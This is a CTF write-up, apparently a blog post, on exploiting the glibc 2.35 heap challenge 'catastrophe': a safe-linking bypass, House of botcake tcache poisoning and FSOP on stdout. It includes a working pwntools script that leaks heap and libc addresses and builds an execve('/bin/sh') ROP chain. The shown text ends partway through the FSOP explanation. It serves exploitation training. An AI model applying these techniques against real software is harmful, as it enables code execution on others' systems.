&lt;p&gt;catastrophe is a heap challenge I did during the diceCTF 2022. I did have a lot of issues with the libc and the dynamic linker, thus I did a first time the challenge with the libc that was in &lt;code&gt;/lib/libc.so.6&lt;/code&gt;, then I figured out thanks to my teammate &lt;a href=&quot;../../tags/supersnail&quot;&gt;supersnail&lt;/a&gt; that I was using the wrong libc. Then I did it again with the right libc but the dynamic linker was (again) wrong and I lost a loot of time on it. So well, the challenge wasn&apos;t pretty hard but I took a funny way to solve it because I thought the libc had &lt;code&gt;FULL RELRO&lt;/code&gt; while  it had only &lt;code&gt;PARTIAL RELRO&lt;/code&gt;. Find the exploit and the tasks &lt;a href=&quot;https://github.com/ret2school/ctf/tree/master/2022/diceCTF/pwn/catastrophe&quot;&gt;right here&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;TL; DR&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Leak heap address + defeating safe linking by printing the first free&apos;d chunk in the tcache.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c&quot;&gt;House of botcake&lt;/a&gt; to create overlapping chunks and get arbitrary write&lt;/li&gt;
&lt;li&gt;FSOP on stdout to leak &lt;code&gt;environ&lt;/code&gt; and then ROP over the stack.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;What we have&lt;/h1&gt;
&lt;p&gt;catastrophe is a classic heap challenge here are the classic informations about it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./libc.so.6 
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
&amp;lt;https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs&amp;gt;.
$ checksec --file libc.so.6 
[*] &apos;/home/nasm/Documents/ctf/2022/diceCTF/pwn/catastrophe/libc.so.6&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ checksec --file catastrophe 
[*] &apos;/home/nasm/Documents/ctf/2022/diceCTF/pwn/catastrophe/catastrophe&apos;
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;2.35&lt;/code&gt; libc, which means there is no more classic hooks like &lt;code&gt;__malloc_hook&lt;/code&gt; or &lt;code&gt;__free_hook&lt;/code&gt;. The binary allows to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;malloc up to 0x200 bytes and read data in it with the use of &lt;code&gt;fgets&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Allocate from the index 0 to 9&lt;/li&gt;
&lt;li&gt;free anything given the index is between 0 and 9&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Thus we can easily do a &lt;a href=&quot;https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c&quot;&gt;House of botcake&lt;/a&gt; but first of all we have to defeat the safe linking to properly getting an arbitrary write.&lt;/p&gt;
&lt;h1&gt;Defeat safe-linking&lt;/h1&gt;
&lt;p&gt;Since &lt;code&gt;2.32&lt;/code&gt; is introduced in the libc the safe-linking mechanism that does some xor encyptions on &lt;code&gt;tcache&lt;/code&gt;, &lt;code&gt;fastbin&lt;/code&gt; next fp to prevent pointer hiijacking. Here is the core of the mechanism:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/latest/source/malloc/malloc.c#L340
/* Safe-Linking:
   Use randomness from ASLR (mmap_base) to protect single-linked lists
   of Fast-Bins and TCache.  That is, mask the &quot;next&quot; pointers of the
   lists&apos; chunks, and also perform allocation alignment checks on them.
   This mechanism reduces the risk of pointer hijacking, as was done with
   Safe-Unlinking in the double-linked lists of Small-Bins.
   It assumes a minimum page size of 4096 bytes (12 bits).  Systems with
   larger pages provide less entropy, although the pointer mangling
   still works.  */
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) &amp;gt;&amp;gt; 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&amp;amp;ptr, ptr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since for this challenge we&apos;re focused on &lt;code&gt;tcache&lt;/code&gt;, here is how a chunk is free&apos;d using safe-linking:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/latest/source/malloc/malloc.c#L3175
/* Caller must ensure that we know tc_idx is valid and there&apos;s room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as &quot;in the tcache&quot; so the test in _int_free will
     detect a double free.  */
  e-&amp;gt;key = tcache_key;

  e-&amp;gt;next = PROTECT_PTR (&amp;amp;e-&amp;gt;next, tcache-&amp;gt;entries[tc_idx]);
  tcache-&amp;gt;entries[tc_idx] = e;
  ++(tcache-&amp;gt;counts[tc_idx]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thus, the first time a chunk is inserted into a tcache list, &lt;code&gt;e-&amp;gt;next&lt;/code&gt; is initialized to &lt;code&gt;&amp;amp;e-&amp;gt;next &amp;gt;&amp;gt; 12&lt;/code&gt; (heap base address) xor &lt;code&gt;tcache-&amp;gt;entries[tc_idx]&lt;/code&gt; which is equal to zero when the list for a given size is empty.&lt;/p&gt;
&lt;p&gt;Which means to leak the heap address we simply have to print a free&apos;d chunk once it has been inserted in the tcache.&lt;/p&gt;
&lt;h1&gt;House of botcake&lt;/h1&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c&quot;&gt;House of botcake&lt;/a&gt; gives a write what where primitive by poisoning the tcache. The algorithm is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allocate 7 &lt;code&gt;0x100&lt;/code&gt; sized chunks to then fill the tcache (7 entries).&lt;/li&gt;
&lt;li&gt;Allocate two more &lt;code&gt;0x100&lt;/code&gt; sized chunks (&lt;code&gt;prev&lt;/code&gt; and &lt;code&gt;a&lt;/code&gt; in the example).&lt;/li&gt;
&lt;li&gt;Allocate a small &quot;barrier&quot; &lt;code&gt;0x10&lt;/code&gt; sized chunk.&lt;/li&gt;
&lt;li&gt;Fill the tcache by freeing the first 7 chunks.&lt;/li&gt;
&lt;li&gt;free(a), thus &lt;code&gt;a&lt;/code&gt; falls into the unsortedbin.&lt;/li&gt;
&lt;li&gt;free(prev), thus &lt;code&gt;prev&lt;/code&gt; is consolidated with &lt;code&gt;a&lt;/code&gt; to create a large &lt;code&gt;0x221&lt;/code&gt; sized chunk that is yet in the unsortedbin.&lt;/li&gt;
&lt;li&gt;Request one more &lt;code&gt;0x100&lt;/code&gt; sized chunk to let a single entry left in the tcache.&lt;/li&gt;
&lt;li&gt;free(a) again, given &lt;code&gt;a&lt;/code&gt; is part of the large &lt;code&gt;0x221&lt;/code&gt; sized chunk it leads to an UAF. Thus &lt;code&gt;a&lt;/code&gt; falls into the tcache.&lt;/li&gt;
&lt;li&gt;That&apos;s finished, to get a write what where we just need to request a &lt;code&gt;0x130&lt;/code&gt; sized chunk. Thus we can hiijack the next fp of &lt;code&gt;a&lt;/code&gt; that is currently referenced by the tcache by the location we wanna write to. And next time two &lt;code&gt;0x100&lt;/code&gt; sized chunks are requested, the second one will be the target location.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Getting arbitrary write&lt;/h1&gt;
&lt;p&gt;To make use of the write what were we got thanks to the &lt;a href=&quot;https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c&quot;&gt;House of botcake&lt;/a&gt;, we need to get both heap and libc leak. To leak libc that&apos;s pretty easily we just need to print out a free&apos;d chunk stored into the unsortedbin, it&apos;s forward pointer is not encrypted with safe-linking.&lt;/p&gt;
&lt;p&gt;As seen previously, to bypass safe-linking we have to print a free&apos;d chunk once it has been inserted in the tcache. It would give us the base address of the heap. When we got it, we just have to initialize the location we wanna write to &lt;code&gt;location ^ ((heap_base + chunk_offset) &amp;gt;&amp;gt; 12)&lt;/code&gt; to encrypt properly the pointer, this way the primitive is efficient.&lt;/p&gt;
&lt;p&gt;Implmentation of the &lt;a href=&quot;https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c&quot;&gt;House of botcake&lt;/a&gt; + safe-linking bypass, heap and libc leak:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
io = start()

def alloc(idx, data, size):
   io.sendlineafter(&quot;-\n&amp;gt; &quot;, b&quot;1&quot;) 
   io.sendlineafter(&quot;Index?\n&amp;gt; &quot;, str(idx).encode()) 
   io.sendlineafter(&quot;&amp;gt; &quot;, str(size).encode()) 
   io.sendlineafter(&quot;: &quot;, data) 

def free(idx):
   io.sendlineafter(&quot;&amp;gt; &quot;, b&quot;2&quot;) 
   io.sendlineafter(&quot;&amp;gt; &quot;, str(idx).encode())

def view(idx):
   io.sendlineafter(&quot;&amp;gt; &quot;, b&quot;3&quot;) 
   io.sendlineafter(&quot;&amp;gt; &quot;, str(idx).encode())

for i in range(7):
    alloc(i, b&quot;&quot;, 0x100)

free(0)

view(0)

heap = ((pwn.u64(io.recvline()[:-1].ljust(8, b&quot;\x00&quot;)) &amp;lt;&amp;lt; 12))
pwn.log.info(f&quot;heap @ {hex(heap)}&quot;)
# then we defeated safe linking lol

alloc(0, b&quot;YY&quot;, 0x100)
# request back the chunk we used to leak the heap

alloc(7, b&quot;YY&quot;, 0x100) # prev
alloc(8, b&quot;YY&quot;, 0x100) # a

alloc(9, b&quot;/bin/sh\0&quot;, 0x10) # barrier

# fill tcache
for i in range(7):
    free(i)

free(8) # free(a) =&amp;gt; unsortedbin
free(7) # free(prev) =&amp;gt; merged with a

# leak libc
view(8)

libc = pwn.u64(io.recvline()[:-1].ljust(8, b&quot;\x00&quot;)) - 0x219ce0 # - 0x1bebe0 # offset of the unsorted bin

rop = pwn.ROP(libc)
binsh = next(libc.search(b&quot;/bin/sh\x00&quot;))
rop.execve(binsh, 0, 0)

environ = libc.address + 0x221200
stdout = libc.address + 0x21a780

pwn.log.info(f&quot;libc: {hex(libc)}&quot;)
pwn.log.info(f&quot;environ: {hex(environ)}&quot;)
pwn.log.info(f&quot;stdout: {hex(stdout)}&quot;)

alloc(0, b&quot;YY&quot;, 0x100) # pop a chunk from the tcache to let an entry left to a 
free(8) # free(a) =&amp;gt; tcache

alloc(1, b&quot;T&quot;*0x108 + pwn.p64(0x111) + pwn.p64((stdout ^ ((heap + 0xb20) &amp;gt;&amp;gt; 12))), 0x130) 
# 0x130, too big for tcache =&amp;gt; unsortedbin UAF on a to replace a-&amp;gt;next with the address of the target location (stdout) 
alloc(2, b&quot;TT&quot;, 0x100)
# pop a from tcache

# next 0x100 request will return the target location (stdout)

&quot;&quot;&quot;
0x55c4fbcd7a00:	0x0000000000000000	0x0000000000000141 [prev]
0x55c4fbcd7a10:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a20:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a30:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a40:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a50:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a60:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a70:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a80:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a90:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7aa0:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7ab0:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7ac0:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7ad0:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7ae0:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7af0:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7b00:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7b10:	0x5454545454545454	0x0000000000000111 [a]
0x55c4fbcd7b20:	0x00007f5d45ff5b57	0x4f60331b73b9000a
0x55c4fbcd7b30:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7b40:	0x0000000000000000	0x00000000000000e1 [unsortedbin]
0x55c4fbcd7b50:	0x00007f5819b0dce0	0x00007f5819b0dce0
0x55c4fbcd7b60:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7b70:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7b80:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7b90:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7ba0:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7bb0:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7bc0:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7bd0:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7be0:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7bf0:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7c00:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7c10:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7c20:	0x00000000000000e0	0x0000000000000020
0x55c4fbcd7c30:	0x0068732f6e69622f	0x000000000000000a
0x55c4fbcd7c40:	0x0000000000000000	0x00000000000203c1 [top chunk]
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;FSOP on stdout to leak environ&lt;/h1&gt;
&lt;p&gt;I didn&apos;t see first that only &lt;code&gt;PARTIAL RELRO&lt;/code&gt; was enabled on the libc, so the technique I show you here was thought to face a &lt;code&gt;2.35&lt;/code&gt; libc with &lt;code&gt;FULL RELRO&lt;/code&gt; enabled that the reason why I didn&apos;t just hiijack some GOT pointers within the libc.&lt;/p&gt;
&lt;p&gt;A pretty convenient way to gain code execution when the hooks (&lt;code&gt;__malloc_hook&lt;/code&gt;, &lt;code&gt;__free_hook&lt;/code&gt;) are not present (since &lt;code&gt;2.32&lt;/code&gt; cf &lt;a href=&quot;https://sourceware.org/pipermail/libc-alpha/2021-August/129718.html&quot;&gt;this for 2.34&lt;/a&gt;) is to leak the address of the stack to then write a ROPchain on it. To leak a stack address we can make use of the &lt;code&gt;environ&lt;/code&gt; symbol stored in the dynamic linker, it contains a pointer toward &lt;code&gt;**envp&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To read this pointer we need a read what where primitive! Which can be achieved through a file stream oriented programming (FSOP) attack on &lt;code&gt;stdout&lt;/code&gt; for example. To dig more FSOP I advise you to read &lt;a href=&quot;https://nasm.re/posts/onceforall/&quot;&gt;this write-up&lt;/a&gt; as well as &lt;a href=&quot;https://nasm.re/posts/bookwriter/&quot;&gt;this one&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To understand the whole process I&apos;ll try to introduce you to FSOP. First of all the target structure is stdout, we wanna corrupt stdout because it&apos;s used ritght after the &lt;code&gt;fgets&lt;/code&gt; that reads the input from the user by the &lt;code&gt;putchar&lt;/code&gt; function. Basically on linux &quot;everything is a file&quot; from the character device the any stream (error, input, output, opened file) we can interact with  a resource just by opening it and by getting a file descriptor on it, right ? This way each file descripor has an associated structure called &lt;code&gt;FILE&lt;/code&gt; you may have used if you have already done some stuff with files on linux. Here is its definition:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/latest/source/libio/bits/types/struct_FILE.h#L49
/* The tag name of this struct is _IO_FILE to preserve historic
   C++ mangled names for functions taking FILE* arguments.
   That name should not be used in new code.  */
struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it&apos;s too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don&apos;t get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here are brievly role of each fields:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;_flags&lt;/code&gt; stands for the behaviour of the stream when a file operation occurs.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_read_ptr&lt;/code&gt; address of input within the input buffer that has been already used.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_read_end&lt;/code&gt; end address of the input buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_read_base&lt;/code&gt; base address of the input buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_write_base&lt;/code&gt; base address of the ouput buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_write_ptr&lt;/code&gt; points to the character that hasn&apos;t been printed yet.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_write_end&lt;/code&gt; end address of the output buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_buf_base&lt;/code&gt; base address for both input and output buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_buf_end&lt;/code&gt; end address for both input and output buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_chain&lt;/code&gt; stands for the single linked list that links of all file streams.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_fileno&lt;/code&gt; stands for the file descriptor associated to the file.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_vtable_offset&lt;/code&gt; stands for the offset of the vtable we have to use.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_offset&lt;/code&gt; stands for the current offset within the file.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Relatable flags:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;_IO_USER_BUF&lt;/code&gt; During line buffered output, _IO_write_base==base() &amp;amp;&amp;amp; epptr()==base(). However, ptr() may be anywhere between base() and ebuf(). This forces a call to filebuf::overflow(int C) on every put. If there is more space in the buffer, and C is not a &apos;\n&apos;, then C is inserted, and pptr() incremented.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_MAGIC&lt;/code&gt; Magic number of &lt;code&gt;fp-&amp;gt;_flags&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_UNBUFFERED&lt;/code&gt; If a filebuf is unbuffered(), the _shortbuf[1] is used as the buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_LINKED&lt;/code&gt; In the list of all open files.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To understand I advise you to read this &lt;a href=&quot;https://ray-cp.github.io/archivers/IO_FILE_arbitrary_read_write&quot;&gt;great article&lt;/a&gt; about FILE structures. What we gonna do right now is trying to understand the use of &lt;code&gt;stdout&lt;/code&gt; during within the &lt;code&gt;putchar&lt;/code&gt; function. And we will try to find a code path that will not write the provided argument (in this case the &lt;code&gt;\n&lt;/code&gt; taken by &lt;code&gt;putchar&lt;/code&gt;) into the output buffer we control but rather flush the file stream to directly print its content and then print the provided argument. This way we could get an arbitrary read by controlling the output buffer.
Let&apos;s take a closer look at the &lt;code&gt; __putc_unlocked_body&lt;/code&gt; macro:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
// https://elixir.bootlin.com/glibc/latest/source/libio/bits/types/struct_FILE.h#L106
#define __putc_unlocked_body(_ch, _fp)					\
  (__glibc_unlikely ((_fp)-&amp;gt;_IO_write_ptr &amp;gt;= (_fp)-&amp;gt;_IO_write_end)	\
   ? __overflow (_fp, (unsigned char) (_ch))				\
   : (unsigned char) (*(_fp)-&amp;gt;_IO_write_ptr++ = (_ch)))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It ends up calling &lt;code&gt;__overflow&lt;/code&gt; if there is no more space in the output buffer (&lt;code&gt;(_fp)-&amp;gt;_IO_write_ptr &amp;gt;= (_fp)-&amp;gt;_IO_write_end)&lt;/code&gt;). That&apos;s basically the code path we need to trigger to call &lt;code&gt;__overflow&lt;/code&gt; instead of just write the provided char into the output buffer.
So first condition:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(_fp)-&amp;gt;_IO_write_ptr &amp;gt;= (_fp)-&amp;gt;_IO_write_end&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/latest/source/libio/genops.c#L198
int
__overflow (FILE *f, int ch)
{
  /* This is a single-byte stream.  */
  if (f-&amp;gt;_mode == 0)
    _IO_fwide (f, -1);
  return _IO_OVERFLOW (f, ch);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Given the file stream isn&apos;t oriented (byte granularity) we directly reach the &lt;code&gt;_IO_OVERFLOW&lt;/code&gt; call, now the final goal to get a leak is to reach the &lt;code&gt;_IO_do_write&lt;/code&gt; call:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/latest/source/libio/fileops.c#L730

int
_IO_new_file_overflow (FILE *f, int ch)
{
  if (f-&amp;gt;_flags &amp;amp; _IO_NO_WRITES) /* SET ERROR */
    {
      f-&amp;gt;_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f-&amp;gt;_flags &amp;amp; _IO_CURRENTLY_PUTTING) == 0 || f-&amp;gt;_IO_write_base == NULL)
    {
      /* Allocate a buffer if needed. */
      if (f-&amp;gt;_IO_write_base == NULL)
	{
	  _IO_doallocbuf (f);
	  _IO_setg (f, f-&amp;gt;_IO_buf_base, f-&amp;gt;_IO_buf_base, f-&amp;gt;_IO_buf_base);
	}
      /* Otherwise must be currently reading.
	 If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
	 logically slide the buffer forwards one block (by setting the
	 read pointers to all point at the beginning of the block).  This
	 makes room for subsequent output.
	 Otherwise, set the read pointers to _IO_read_end (leaving that
	 alone, so it can continue to correspond to the external position). */
      if (__glibc_unlikely (_IO_in_backup (f)))
	{
	  size_t nbackup = f-&amp;gt;_IO_read_end - f-&amp;gt;_IO_read_ptr;
	  _IO_free_backup_area (f);
	  f-&amp;gt;_IO_read_base -= MIN (nbackup,
				   f-&amp;gt;_IO_read_base - f-&amp;gt;_IO_buf_base);
	  f-&amp;gt;_IO_read_ptr = f-&amp;gt;_IO_read_base;
	}

      if (f-&amp;gt;_IO_read_ptr == f-&amp;gt;_IO_buf_end)
	    f-&amp;gt;_IO_read_end = f-&amp;gt;_IO_read_ptr = f-&amp;gt;_IO_buf_base;
      f-&amp;gt;_IO_write_ptr = f-&amp;gt;_IO_read_ptr;
      f-&amp;gt;_IO_write_base = f-&amp;gt;_IO_write_ptr;
      f-&amp;gt;_IO_write_end = f-&amp;gt;_IO_buf_end;
      f-&amp;gt;_IO_read_base = f-&amp;gt;_IO_read_ptr = f-&amp;gt;_IO_read_end;

      f-&amp;gt;_flags |= _IO_CURRENTLY_PUTTING;
      if (f-&amp;gt;_mode &amp;lt;= 0 &amp;amp;&amp;amp; f-&amp;gt;_flags &amp;amp; (_IO_LINE_BUF | _IO_UNBUFFERED))
	f-&amp;gt;_IO_write_end = f-&amp;gt;_IO_write_ptr;
    }
  if (ch == EOF)
    return _IO_do_write (f, f-&amp;gt;_IO_write_base,
			 f-&amp;gt;_IO_write_ptr - f-&amp;gt;_IO_write_base);
  if (f-&amp;gt;_IO_write_ptr == f-&amp;gt;_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f-&amp;gt;_IO_write_ptr++ = ch;
  if ((f-&amp;gt;_flags &amp;amp; _IO_UNBUFFERED)
      || ((f-&amp;gt;_flags &amp;amp; _IO_LINE_BUF) &amp;amp;&amp;amp; ch == &apos;\n&apos;))
    if (_IO_do_write (f, f-&amp;gt;_IO_write_base,
		      f-&amp;gt;_IO_write_ptr - f-&amp;gt;_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Given &lt;code&gt;ch&lt;/code&gt; is &lt;code&gt;\n&lt;/code&gt;, to trigger the &lt;code&gt;_IO_do_flush&lt;/code&gt; call which will flush the file stream we have to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Remove &lt;code&gt;_IO_NO_WRITES&lt;/code&gt; from &lt;code&gt;fp-&amp;gt;_flags&lt;/code&gt; to avoid the first condition.&lt;/li&gt;
&lt;li&gt;Add &lt;code&gt;_IO_CURRENTLY_PUTTING&lt;/code&gt; to &lt;code&gt;fp-&amp;gt;_flags&lt;/code&gt; and give a non &lt;code&gt;NULL&lt;/code&gt; value to &lt;code&gt;f-&amp;gt;_IO_write_base&lt;/code&gt; to avoid the second condition (useless code).&lt;/li&gt;
&lt;li&gt;make &lt;code&gt;f-&amp;gt;_IO_write_ptr&lt;/code&gt; equal to &lt;code&gt;f-&amp;gt;_IO_buf_end&lt;/code&gt; to then call &lt;code&gt;_IO_do_flush&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now we reached &lt;code&gt;_IO_do_flush&lt;/code&gt; which is basically just a macro:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
// https://elixir.bootlin.com/glibc/latest/source/libio/libioP.h#L507
#define _IO_do_flush(_f) \
  ((_f)-&amp;gt;_mode &amp;lt;= 0							      \
   ? _IO_do_write(_f, (_f)-&amp;gt;_IO_write_base,				      \
		  (_f)-&amp;gt;_IO_write_ptr-(_f)-&amp;gt;_IO_write_base)		      \
   : _IO_wdo_write(_f, (_f)-&amp;gt;_wide_data-&amp;gt;_IO_write_base,		      \
		   ((_f)-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr			      \
		    - (_f)-&amp;gt;_wide_data-&amp;gt;_IO_write_base)))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Given &lt;code&gt;stdout&lt;/code&gt; is byte-oriented &lt;code&gt;_IO_new_do_write&lt;/code&gt; is called:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
// https://elixir.bootlin.com/glibc/latest/source/libio/fileops.c#L418
static size_t new_do_write (FILE *, const char *, size_t);

/* Write TO_DO bytes from DATA to FP.
   Then mark FP as having empty buffers. */

int
_IO_new_do_write (FILE *fp, const char *data, size_t to_do)
{
  return (to_do == 0
	  || (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)

static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
  size_t count;
  if (fp-&amp;gt;_flags &amp;amp; _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp-&amp;gt;_offset = _IO_pos_BAD;
  else if (fp-&amp;gt;_IO_read_end != fp-&amp;gt;_IO_write_base)
    {
      off64_t new_pos
	= _IO_SYSSEEK (fp, fp-&amp;gt;_IO_write_base - fp-&amp;gt;_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
	    return 0;
      fp-&amp;gt;_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp-&amp;gt;_cur_column &amp;amp;&amp;amp; count)
    fp-&amp;gt;_cur_column = _IO_adjust_column (fp-&amp;gt;_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp-&amp;gt;_IO_buf_base, fp-&amp;gt;_IO_buf_base, fp-&amp;gt;_IO_buf_base);
  fp-&amp;gt;_IO_write_base = fp-&amp;gt;_IO_write_ptr = fp-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_IO_write_end = (fp-&amp;gt;_mode &amp;lt;= 0
		       &amp;amp;&amp;amp; (fp-&amp;gt;_flags &amp;amp; (_IO_LINE_BUF | _IO_UNBUFFERED))
		       ? fp-&amp;gt;_IO_buf_base : fp-&amp;gt;_IO_buf_end);
  return count;
}

&lt;/code&gt;&lt;/pre&gt;
